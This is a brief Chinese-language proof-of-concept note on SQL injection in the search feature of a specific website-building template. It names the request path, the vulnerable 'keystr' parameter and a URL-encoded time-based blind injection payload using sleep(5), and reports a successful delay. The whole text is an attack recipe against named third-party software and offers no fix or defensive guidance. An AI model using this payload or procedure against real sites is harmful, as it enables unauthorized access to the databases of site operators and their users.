集翔网大建站模板搜索框SQL注入

访问看是否存在搜索功能，有可直接在搜索框进行SQL注入

未发现可以在URL后加入index.php?s=/Index/search.html

即可在页面发现一个搜索框，点击搜索

找到keystr参数

插入if(now()%3dsysdate()%2csleep(5)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(5)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(5)%2c0))OR%22*/

成功使其延时